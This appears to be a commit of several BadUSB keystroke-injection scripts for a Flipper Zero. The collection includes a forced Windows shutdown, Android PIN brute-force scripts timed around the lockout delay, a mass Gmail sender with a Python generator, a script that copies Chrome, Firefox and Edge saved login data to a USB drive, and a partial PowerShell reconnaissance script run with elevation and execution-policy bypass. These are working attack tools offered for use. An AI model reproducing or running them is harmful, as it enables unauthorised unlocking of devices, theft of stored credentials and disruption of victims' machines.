Skip to content
Commits on Source (1)
REM Author: Mr.Black (mrblack0 on Discord)
REM Description: Shut down your computer every 1 minute, Windows 10+ only
REM Version: 1.0
REM Category: Execution
DELAY 500
REM Open the Start menu
DELAY 500
REM Type "cmd" and press Enter to open the Command Prompt
STRING cmd
ENTER
DELAY 500
REM Wait to ensure that the Command Prompt is open
REM Type the scheduled shutdown command (1 minute = 60 seconds)
STRING shutdown /s /t 60
ENTER
REM This is a BadUSB script with a lot of 4 digit password combinations. Target: Android devices
DELAY 5000
STRING 1234
ENTER
DELAY 500
STRING 5678
ENTER
DELAY 500
STRING 9876
ENTER
DELAY 500
STRING 4321
ENTER
DELAY 500
STRING 2468
ENTER
REM -----
DELAY 30500
STRING 1357
ENTER
DELAY 500
STRING 8642
ENTER
DELAY 500
STRING 3691
ENTER
DELAY 500
STRING 7890
ENTER
DELAY 500
STRING 2580
ENTER
REM -----
DELAY 30500
STRING 6749
ENTER
DELAY 500
STRING 9012
ENTER
DELAY 500
STRING 3456
ENTER
DELAY 500
STRING 8765
ENTER
DELAY 500
STRING 2109
ENTER
REM -----
DELAY 30500
STRING 6543
ENTER
DELAY 500
STRING 9753
ENTER
DELAY 500
STRING 4862
ENTER
DELAY 500
STRING 7913
ENTER
DELAY 500
STRING 5320
ENTER
REM -----
DELAY 30500
STRING 4182
ENTER
DELAY 500
STRING 7539
ENTER
DELAY 500
STRING 6207
ENTER
DELAY 500
STRING 1934
ENTER
DELAY 500
STRING 2975
ENTER
REM -----
DELAY 30500
STRING 8640
ENTER
DELAY 500
STRING 5134
ENTER
DELAY 500
STRING 7596
ENTER
DELAY 500
STRING 2846
ENTER
DELAY 500
STRING 6709
ENTER
REM -----
DELAY 30500
STRING 9123
ENTER
DELAY 500
STRING 3648
ENTER
DELAY 500
STRING 5748
ENTER
DELAY 500
STRING 9283
ENTER
DELAY 500
STRING 7165
ENTER
REM -----
DELAY 30500
STRING 0297
ENTER
DELAY 500
STRING 4856
ENTER
DELAY 500
STRING 1957
ENTER
DELAY 500
STRING 3689
ENTER
DELAY 500
STRING 6089
ENTER
REM -----
DELAY 30500
STRING 2357
ENTER
DELAY 500
STRING 4162
ENTER
DELAY 500
STRING 8970
ENTER
DELAY 500
STRING 5061
ENTER
DELAY 500
STRING 3124
ENTER
REM -----
DELAY 30500
STRING 6341
ENTER
DELAY 500
STRING 8712
ENTER
DELAY 500
STRING 4206
ENTER
DELAY 500
STRING 9517
ENTER
DELAY 500
STRING 6279
ENTER
REM -----
DELAY 30500
STRING 0152
ENTER
DELAY 500
STRING 7530
ENTER
DELAY 500
STRING 8624
ENTER
DELAY 500
STRING 1972
ENTER
DELAY 500
STRING 4389
ENTER
REM -----
DELAY 30500
STRING 9825
ENTER
DELAY 500
STRING 5647
ENTER
DELAY 500
STRING 0789
ENTER
DELAY 500
STRING 3094
ENTER
DELAY 500
STRING 6283
ENTER
REM -----
DELAY 30500
STRING 1903
ENTER
DELAY 500
STRING 4571
ENTER
DELAY 500
STRING 8019
ENTER
DELAY 500
STRING 5362
ENTER
DELAY 500
STRING 9723
ENTER
REM -----
DELAY 30500
STRING 6405
ENTER
DELAY 500
STRING 8214
ENTER
DELAY 500
STRING 5793
ENTER
DELAY 500
STRING 3147
ENTER
DELAY 500
STRING 9156
ENTER
REM -----
DELAY 30500
STRING 2805
ENTER
DELAY 500
STRING 6702
ENTER
DELAY 500
STRING 4859
ENTER
DELAY 500
STRING 7324
ENTER
DELAY 500
STRING 1967
ENTER
REM -----
DELAY 30500
STRING 3945
ENTER
DELAY 500
STRING 0684
ENTER
DELAY 500
STRING 8293
ENTER
DELAY 500
STRING 5412
ENTER
DELAY 500
STRING 1798
ENTER
REM -----
DELAY 30500
STRING 6082
ENTER
DELAY 500
STRING 9271
ENTER
DELAY 500
STRING 1532
ENTER
DELAY 500
STRING 4031
ENTER
DELAY 500
STRING 6581
ENTER
REM -----
DELAY 30500
STRING 8410
ENTER
DELAY 500
STRING 2963
ENTER
DELAY 500
STRING 7326
ENTER
DELAY 500
STRING 5470
ENTER
DELAY 500
STRING 3805
ENTER
REM -----
DELAY 30500
STRING 6203
ENTER
DELAY 500
STRING 1795
ENTER
DELAY 500
STRING 9056
ENTER
DELAY 500
STRING 4360
ENTER
DELAY 500
STRING 7549
ENTER
REM -----
DELAY 30500
STRING 9134
ENTER
DELAY 500
STRING 2685
ENTER
DELAY 500
STRING 5019
ENTER
DELAY 500
STRING 6420
ENTER
DELAY 500
STRING 0379
ENTER
REM -----
DELAY 30500
STRING 2837
ENTER
DELAY 500
STRING 5740
ENTER
DELAY 500
STRING 9015
ENTER
DELAY 500
STRING 4296
ENTER
DELAY 500
STRING 7584
ENTER
REM -----
DELAY 30500
STRING 1652
ENTER
DELAY 500
STRING 3128
ENTER
DELAY 500
STRING 8671
ENTER
DELAY 500
STRING 6407
ENTER
DELAY 500
STRING 9083
ENTER
REM -----
DELAY 30500
STRING 4268
ENTER
DELAY 500
STRING 7531
ENTER
DELAY 500
STRING 6809
ENTER
DELAY 500
STRING 1936
ENTER
DELAY 500
STRING 2958
ENTER
REM -----
DELAY 30500
STRING 8734
ENTER
DELAY 500
STRING 5018
ENTER
DELAY 500
STRING 2967
ENTER
DELAY 500
STRING 7520
ENTER
DELAY 500
STRING 4081
ENTER
REM -----
DELAY 30500
STRING 5963
ENTER
DELAY 500
STRING 2814
ENTER
DELAY 500
STRING 6194
ENTER
DELAY 500
STRING 0735
ENTER
DELAY 500
STRING 3286
ENTER
REM -----
DELAY 30500
STRING 5674
ENTER
DELAY 500
STRING 9276
ENTER
DELAY 500
STRING 6419
ENTER
DELAY 500
STRING 8506
ENTER
DELAY 500
STRING 2071
ENTER
REM -----
DELAY 30500
STRING 9357
ENTER
DELAY 500
STRING 7184
ENTER
DELAY 500
STRING 3642
ENTER
DELAY 500
STRING 5291
ENTER
DELAY 500
STRING 4079
ENTER
REM -----
DELAY 30500
STRING 6921
ENTER
DELAY 500
STRING 3120
ENTER
DELAY 500
STRING 5734
ENTER
DELAY 500
STRING 8062
ENTER
DELAY 500
STRING 1894
ENTER
REM -----
DELAY 30500
STRING 4537
ENTER
DELAY 500
STRING 9157
ENTER
DELAY 500
STRING 2674
ENTER
DELAY 500
STRING 7503
ENTER
DELAY 500
STRING 1806
ENTER
REM -----
DELAY 30500
STRING 4297
ENTER
DELAY 500
STRING 6387
ENTER
DELAY 500
STRING 9053
ENTER
DELAY 500
STRING 5123
ENTER
DELAY 500
STRING 3670
ENTER
REM -----
DELAY 30500
STRING 7945
ENTER
DELAY 500
STRING 5203
ENTER
DELAY 500
STRING 8457
ENTER
DELAY 500
STRING 1273
ENTER
DELAY 500
STRING 3694
ENTER
REM -----
DELAY 30500
STRING 6891
ENTER
DELAY 500
STRING 9701
ENTER
DELAY 500
STRING 4617
ENTER
DELAY 500
STRING 8326
ENTER
DELAY 500
STRING 1946
ENTER
REM -----
DELAY 30500
STRING 3524
ENTER
DELAY 500
STRING 5768
ENTER
DELAY 500
STRING 8246
ENTER
DELAY 500
STRING 0437
ENTER
DELAY 500
STRING 9730
ENTER
REM -----
DELAY 30500
STRING 2860
ENTER
DELAY 500
STRING 6947
ENTER
DELAY 500
STRING 8107
ENTER
DELAY 500
STRING 5036
ENTER
DELAY 500
STRING 4273
ENTER
REM -----
DELAY 30500
STRING 7658
ENTER
DELAY 500
STRING 9186
ENTER
DELAY 500
STRING 6397
ENTER
DELAY 500
STRING 1872
ENTER
DELAY 500
STRING 5726
ENTER
REM -----
DELAY 30500
STRING 4915
ENTER
DELAY 500
STRING 3057
ENTER
DELAY 500
STRING 6149
ENTER
DELAY 500
STRING 9726
ENTER
DELAY 500
STRING 0681
ENTER
REM -----
DELAY 30500
STRING 4530
ENTER
DELAY 500
STRING 7392
ENTER
DELAY 500
STRING 1962
ENTER
DELAY 500
STRING 5074
ENTER
DELAY 500
STRING 2840
ENTER
REM -----
DELAY 30500
STRING 6308
ENTER
DELAY 500
STRING 8793
ENTER
DELAY 500
STRING 0917
ENTER
DELAY 500
STRING 4658
ENTER
DELAY 500
STRING 7106
ENTER
REM -----
DELAY 30500
STRING 5896
ENTER
DELAY 500
STRING 4021
ENTER
DELAY 500
STRING 9824
ENTER
DELAY 500
STRING 2756
ENTER
DELAY 500
STRING 6307
ENTER
REM -----
DELAY 30500
STRING 9148
ENTER
DELAY 500
STRING 3067
ENTER
DELAY 500
STRING 8572
ENTER
DELAY 500
STRING 1937
ENTER
DELAY 500
STRING 4809
ENTER
REM -----
REM Next, are the top 65 4 digit pins. (credit to rf-bandit)
REM -----
DELAY 500
STRING 1234
ENTER
DELAY 500
STRING 4321
ENTER
DELAY 500
STRING 1111
ENTER
DELAY 500
STRING 2222
ENTER
DELAY 500
STRING 3333
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 4444
ENTER
DELAY 500
STRING 5555
ENTER
DELAY 500
STRING 6666
ENTER
DELAY 500
STRING 7777
ENTER
DELAY 500
STRING 8888
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 9999
ENTER
DELAY 500
STRING 1212
ENTER
DELAY 500
STRING 1004
ENTER
DELAY 500
STRING 2000
ENTER
DELAY 500
STRING 6969
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 1122
ENTER
DELAY 500
STRING 1313
ENTER
DELAY 500
STRING 0000
ENTER
DELAY 500
STRING 2001
ENTER
DELAY 500
STRING 1010
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 2580
ENTER
DELAY 500
STRING 1818
ENTER
DELAY 500
STRING 1230
ENTER
DELAY 500
STRING 1984
ENTER
DELAY 500
STRING 1986
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 1985
ENTER
DELAY 500
STRING 1000
ENTER
DELAY 500
STRING 1231
ENTER
DELAY 500
STRING 1987
ENTER
DELAY 500
STRING 1999
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 2468
ENTER
DELAY 500
STRING 2002
ENTER
DELAY 500
STRING 2323
ENTER
DELAY 500
STRING 1123
ENTER
DELAY 500
STRING 1233
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 1357
ENTER
DELAY 500
STRING 1221
ENTER
DELAY 500
STRING 1324
ENTER
DELAY 500
STRING 1988
ENTER
DELAY 500
STRING 2112
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 1004
ENTER
DELAY 500
STRING 2021
ENTER
DELAY 500
STRING 5150
ENTER
DELAY 500
STRING 1024
ENTER
DELAY 500
STRING 1112
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 1004
ENTER
DELAY 500
STRING 2021
ENTER
DELAY 500
STRING 5150
ENTER
DELAY 500
STRING 1024
ENTER
DELAY 500
STRING 1112
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 1224
ENTER
DELAY 500
STRING 1969
ENTER
DELAY 500
STRING 1225
ENTER
DELAY 500
STRING 1235
ENTER
DELAY 500
STRING 1982
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 1001
ENTER
DELAY 500
STRING 7410
ENTER
DELAY 500
STRING 1020
ENTER
DELAY 500
STRING 1223
ENTER
DELAY 500
STRING 1029
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 1515
ENTER
DELAY 500
STRING 1213
ENTER
DELAY 500
STRING 2345
ENTER
DELAY 500
STRING 2424
ENTER
DELAY 500
STRING 2525
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REM -----
REM Set dervived from the most commonly appearing digits over an average of 1000 most used pins (0123)
REM -----
ENTER
DELAY 500
STRING 0123
ENTER
DELAY 500
STRING 1023
ENTER
DELAY 500
STRING 1203
ENTER
DELAY 500
STRING 3210
ENTER
DELAY 500
STRING 2112
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
REM -----
DELAY 500
STRING 2121
ENTER
DELAY 500
STRING 1320
ENTER
DELAY 500
STRING 3110
ENTER
DELAY 500
STRING 2111
ENTER
DELAY 500
STRING 0321
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REM -----
REM Including the 5 least used pins to factor in target having some OpSec
REM -----
ENTER
DELAY 500
STRING 8068
ENTER
DELAY 500
STRING 8093
ENTER
DELAY 500
STRING 6835
ENTER
DELAY 500
STRING 9629
ENTER
DELAY 500
STRING 7637
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REM -----
REM Last ditch effort with 4 sets of randomly generated pins
REM -----
ENTER
DELAY 500
STRING 6364
ENTER
DELAY 500
STRING 6364
ENTER
DELAY 500
STRING 6260
ENTER
DELAY 500
STRING 8647
ENTER
DELAY 500
STRING 0420
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REM -----
ENTER
DELAY 500
STRING 8880
ENTER
DELAY 500
STRING 8631
ENTER
DELAY 500
STRING 1121
ENTER
DELAY 500
STRING 2996
ENTER
DELAY 500
STRING 6685
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REM -----
ENTER
DELAY 500
STRING 9371
ENTER
DELAY 500
STRING 3417
ENTER
DELAY 500
STRING 9826
ENTER
DELAY 500
STRING 2621
ENTER
DELAY 500
STRING 8431
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REM -----
ENTER
DELAY 500
STRING 1185
ENTER
DELAY 500
STRING 2281
ENTER
DELAY 500
STRING 5519
ENTER
DELAY 500
STRING 8657
ENTER
DELAY 500
STRING 6435
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
\ No newline at end of file
REM Android Password Brute Force - 4 digit pin
REM Every 5th attempt the retry waits to work around the 30s timeout Android implements after 5 failed login attempts
REM Uncomment bottom of script for DOB options
REM Average completion time of script is 12m
REM An exhaustive wordlist is not used because A) it is not assumed device has healthy battery B) time/power constraints of healthy battery
REM Tested on Android 4.4
REM Author: defplex.wordpress.com
REM Modified for Flipper Zero by rf-bandit
REM ***USE AT OWN RISK***
REM top 65 common pins
DELAY 500
STRING 1234
ENTER
DELAY 500
STRING 4321
ENTER
DELAY 500
STRING 1111
ENTER
DELAY 500
STRING 2222
ENTER
DELAY 500
STRING 3333
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 4444
ENTER
DELAY 500
STRING 5555
ENTER
DELAY 500
STRING 6666
ENTER
DELAY 500
STRING 7777
ENTER
DELAY 500
STRING 8888
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 9999
ENTER
DELAY 500
STRING 1212
ENTER
DELAY 500
STRING 1004
ENTER
DELAY 500
STRING 2000
ENTER
DELAY 500
STRING 6969
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 1122
ENTER
DELAY 500
STRING 1313
ENTER
DELAY 500
STRING 0000
ENTER
DELAY 500
STRING 2001
ENTER
DELAY 500
STRING 1010
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 2580
ENTER
DELAY 500
STRING 1818
ENTER
DELAY 500
STRING 1230
ENTER
DELAY 500
STRING 1984
ENTER
DELAY 500
STRING 1986
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 1985
ENTER
DELAY 500
STRING 1000
ENTER
DELAY 500
STRING 1231
ENTER
DELAY 500
STRING 1987
ENTER
DELAY 500
STRING 1999
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 2468
ENTER
DELAY 500
STRING 2002
ENTER
DELAY 500
STRING 2323
ENTER
DELAY 500
STRING 1123
ENTER
DELAY 500
STRING 1233
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 1357
ENTER
DELAY 500
STRING 1221
ENTER
DELAY 500
STRING 1324
ENTER
DELAY 500
STRING 1988
ENTER
DELAY 500
STRING 2112
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 1004
ENTER
DELAY 500
STRING 2021
ENTER
DELAY 500
STRING 5150
ENTER
DELAY 500
STRING 1024
ENTER
DELAY 500
STRING 1112
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 1004
ENTER
DELAY 500
STRING 2021
ENTER
DELAY 500
STRING 5150
ENTER
DELAY 500
STRING 1024
ENTER
DELAY 500
STRING 1112
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 1224
ENTER
DELAY 500
STRING 1969
ENTER
DELAY 500
STRING 1225
ENTER
DELAY 500
STRING 1235
ENTER
DELAY 500
STRING 1982
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 1001
ENTER
DELAY 500
STRING 7410
ENTER
DELAY 500
STRING 1020
ENTER
DELAY 500
STRING 1223
ENTER
DELAY 500
STRING 1029
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 1515
ENTER
DELAY 500
STRING 1213
ENTER
DELAY 500
STRING 2345
ENTER
DELAY 500
STRING 2424
ENTER
DELAY 500
STRING 2525
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REM Set dervived from the most commonly appearing digits over an average of 1000 most used pins (0123)
ENTER
DELAY 500
STRING 0123
ENTER
DELAY 500
STRING 1023
ENTER
DELAY 500
STRING 1203
ENTER
DELAY 500
STRING 3210
ENTER
DELAY 500
STRING 2112
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
DELAY 500
STRING 2121
ENTER
DELAY 500
STRING 1320
ENTER
DELAY 500
STRING 3110
ENTER
DELAY 500
STRING 2111
ENTER
DELAY 500
STRING 0321
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REMIncluding the 5 least used pins to factor in target having some OpSec
ENTER
DELAY 500
STRING 8068
ENTER
DELAY 500
STRING 8093
ENTER
DELAY 500
STRING 6835
ENTER
DELAY 500
STRING 9629
ENTER
DELAY 500
STRING 7637
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REM Last ditch effort with 4 sets of randomly generated pins
ENTER
DELAY 500
STRING 6364
ENTER
DELAY 500
STRING 6364
ENTER
DELAY 500
STRING 6260
ENTER
DELAY 500
STRING 8647
ENTER
DELAY 500
STRING 0420
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
ENTER
DELAY 500
STRING 8880
ENTER
DELAY 500
STRING 8631
ENTER
DELAY 500
STRING 1121
ENTER
DELAY 500
STRING 2996
ENTER
DELAY 500
STRING 6685
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
ENTER
DELAY 500
STRING 9371
ENTER
DELAY 500
STRING 3417
ENTER
DELAY 500
STRING 9826
ENTER
DELAY 500
STRING 2621
ENTER
DELAY 500
STRING 8431
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
ENTER
DELAY 500
STRING 1185
ENTER
DELAY 500
STRING 2281
ENTER
DELAY 500
STRING 5519
ENTER
DELAY 500
STRING 8657
ENTER
DELAY 500
STRING 6435
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000
ENTER
REM If DOB for target is known uncomment and replace xxxx with MMDD, DDMM or YYYY
REM Left at end of script on purpose to keep everything in groups of 5
REM DELAY 500
REM STRING xxxx
ENTER
REM DELAY 500
REM STRING xxxx
ENTER
REM DELAY 500
REM STRING xxxx
ENTER
REM DELAY 500
REM STRING x
REM Title: Awesome Flippers
REM Author: xepexted
REM Based off work from: Jeffrey Koopman | JKCTech
REM Description: Opens default browser and redirects you to Awesome Flippers Github
REM Target: macOS 11.0+
REM
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 1000
STRING open 'https://github.com/djsime1/awesome-flipperzero'; exit
ENTER
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%% This script was created by github.com/MarkCyber %%%%%%%%%%%%
REM %%%%%%%%%%%% This script is intended to send an email via badUSB (into your logged in gmail on chrome) %%%%%%%%%%%%
REM %%%%%%%%%%%% This script will open chrome, send an email, and then close chrome. Must be logged in to email %%%%%%%%%%%%
REM %%%%%%%%%%%% You can use python to replicate this script by changing email addresses & name every time %%%%%%%%%%%%
REM %%%%%%%%%%%% The python script in section 2.1 generates badusb scripts for multiple emails if need be %%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DELAY 1000
GUI r
DELAY 500
STRING chrome
ENTER
DELAY 1000
STRING https://mail.google.com/mail/u/0/#inbox?compose=new
ENTER
DELAY 5000
DELAY 1000
STRING {EMAIL ADDRESS YOU WANT TO SEND EMAIL TO}
DELAY 500
TAB
TAB
STRING {YOUR SUBJECT NAME}
TAB
STRING Hi {THEIR NAME}
ENTER
ENTER
STRING {CONTENTS OF THE EMAIL}
ENTER
ENTER
STRING {IF YOU WANT A SECOND PARAGRAPH, THIS IS WHAT DOUBLE-ENTER ABOVE DOES}
ENTER
ENTER
STRING Respectfully,
ENTER
ENTER
STRING {YOUR NAME}
ENTER
CTRL ENTER
DELAY 5000
DELAY 1000
ALT F4
REM check out github.com/markcyber for more scripts
#######################################################################################################################################
#######################################################################################################################################
################# This script was created by github.com/MarkCyber (w/ assistance of ai) ####################
################# This is a python script to automatically create BadUSB scripts to auto send emails ####################
################# This takes a excel sheet with the columns named "Names" and "Emails" ####################
################# This script will then make a badusb script using the name + email of each person ####################
################# There are various subject options that will be chosen from, to minimize "spam" ####################
################# Change the signature to your name, and put subject options that fit your email ####################
################# Lastly, of course make sure to change the contents of the email to what you want ####################
#######################################################################################################################################
#######################################################################################################################################
import pandas as pd
import random
# Load the Excel file, make sure it has the same name (or change the name in this script)
file_path = 'NameAndEmails.xlsx'
data_df = pd.read_excel(file_path)
# Your excel should have 2 columns. Names, and Emails.
data_cleaned_df = data_df[['Names', 'Emails']].dropna().reset_index(drop=True)
data_cleaned_df.columns = ['Name', 'Email']
# List of placeholder subject options. Change these to 7 similar subjects that match your email (if you are sending many. You can use the same if not)
subject_options = [
"Placeholder for subject option 1",
"Placeholder for subject option 2",
"Placeholder for subject option 3",
"Placeholder for subject option 4",
"Placeholder for subject option 5",
"Placeholder for subject option 6",
"Placeholder for subject option 7"
]
# Placeholder for email body template. The name field will be filled from the "names" section in the excel sheet you provided.
# Just modify the actual email body and sender name to fit your needs
email_body_template = """
Hi {name},
Placeholder for email body.
Warm Regards,
Sender Name
"""
# Function to generate BadUSB script
def generate_badusb_script_with_placeholders_single_file(data_df):
script_template = [
"DELAY 1000",
"GUI r",
"DELAY 500",
"STRING chrome",
"ENTER",
"DELAY 1000",
"STRING https://mail.google.com/mail/u/0/#inbox?compose=new", # In chrome it opens gmail to compose an email. This is why you must be logged in.
"ENTER",
"DELAY 5000"
]
scripts = script_template
for index, row in data_df.iterrows():
name = row['Name']
email = row['Email']
subject = random.choice(subject_options)
random_delay = random.randint(10000, 25000)
email_body_lines = email_body_template.format(name=name).strip().split('\n')
email_body_lines = [f"STRING {line.strip()}" for line in email_body_lines if line.strip()]
email_script = [
"DELAY 1000",
f"STRING {email}",
"DELAY 500",
"TAB",
"TAB",
f"STRING {subject}",
"TAB"
] + email_body_lines + [
"ENTER",
"CONTROL ENTER",
"DELAY 5000",
f"DELAY {random_delay}", #random delay so emails are not sent at the sames, ideally minimizing the potential to be marked as spam
"ALT F4"
]
scripts += email_script
return "\n".join(scripts)
# Generate the BadUSB script with placeholders and proper send command in a single file
final_script_with_placeholders = generate_badusb_script_with_placeholders_single_file(data_cleaned_df)
# Save the script to a file
final_script_file_path = 'final_script_with_placeholders.txt' #This would be your badusb script
with open(final_script_file_path, 'w') as file:
file.write(final_script_with_placeholders)
print(f"Script saved to {final_script_file_path}")
#check out github.com/markcyber for more badusb / pen testing / automation tools and scripts
REM ##################################################################################################################
REM ############## This script was created by github.com/markcyber ##############
REM ############## This script requires a secondary USB named "MYUSB" to save credentials to ##############
REM ############## The extracted data will require decryption ##############
REM ##################################################################################################################
REM Open PowerShell
DELAY 1000
GUI r
DELAY 500
STRING powershell
DELAY 500
ENTER
DELAY 1000
REM Check if the USB drive exists
STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter;
STRING if ($usbDrive -ne $null) {
ENTER
DELAY 500
STRING cd $usbDrive;
ENTER
DELAY 500
STRING mkdir BrowserData;
ENTER
DELAY 500
STRING cd BrowserData;
ENTER
DELAY 500
REM Copy Chrome Login Data to USB
STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";
STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; }
ENTER
DELAY 500
REM Copy Firefox Login Data to USB
STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\";
STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; }
ENTER
DELAY 500
REM Copy Edge Login Data to USB
STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data";
STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; }
ENTER
DELAY 500
STRING }
ENTER
DELAY 500
REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC)
STRING echo off | clip
ENTER
DELAY 500
REM Close PowerShell
STRING exit
ENTER
DELAY 500
REM Check out Github.com/MarkCyber for more badusb scripts and other hacky stuff
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%%% This script was created by github.com/MarkCyber %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% This script acts as a plug-in vulnerability scanner. Only use with permission %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% This will require a secondary USB named as "MYUSB" to save all information onto %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% This will find information on the following and save results in a results.txt file %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% Info on: password policy, audit services, network settings, softwares and versions, CVEs %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% Info on: open ports, firewall status, antivirus status, smbv1 status, missing updates & more %%%%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DELAY 1000
REM Open Start Menu
CONTROL ESCAPE
DELAY 2000
STRING powershell
REM Navigate to the context menu to run PowerShell as an administrator
DELAY 500
RIGHTARROW
DELAY 100
DOWNARROW
DELAY 100
ENTER
DELAY 3000
ALT Y
DELAY 5000
REM Set PowerShell Execution Policy to Bypass
DELAY 1000
STRING set-executionpolicy bypass -scope process -force
DELAY 200
ENTER
DELAY 200
REM Create the PowerShell script in memory and execute it
DELAY 200
STRING $usbName = "MYUSB"
DELAY 200
ENTER
DELAY 200
STRING $usbDrive = Get-WmiObject Win32_Volume | Where-Object { $_.Label -eq $usbName } | Select-Object -ExpandProperty DriveLetter
DELAY 200
ENTER
DELAY 200
STRING if ($usbDrive) {
DELAY 200
ENTER
DELAY 200
STRING $owner = (Get-WmiObject Win32_ComputerSystem).UserName
DELAY 200
ENTER
DELAY 200
STRING $directoryPath = Join-Path -Path $usbDrive -ChildPath $owner
DELAY 200
ENTER
DELAY 200
STRING New-Item -ItemType Directory -Path $directoryPath
DELAY 200
ENTER
DELAY 200
STRING $resultsFilePath = Join-Path -Path $directoryPath -ChildPath "results.txt"
DELAY 200
ENTER
DELAY 200
STRING "" > $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING function check-passwordpolicy {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING net accounts
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error checking password policy: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function audit-services {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING get-service | select-object name, displayname, status, starttype
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error auditing services: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
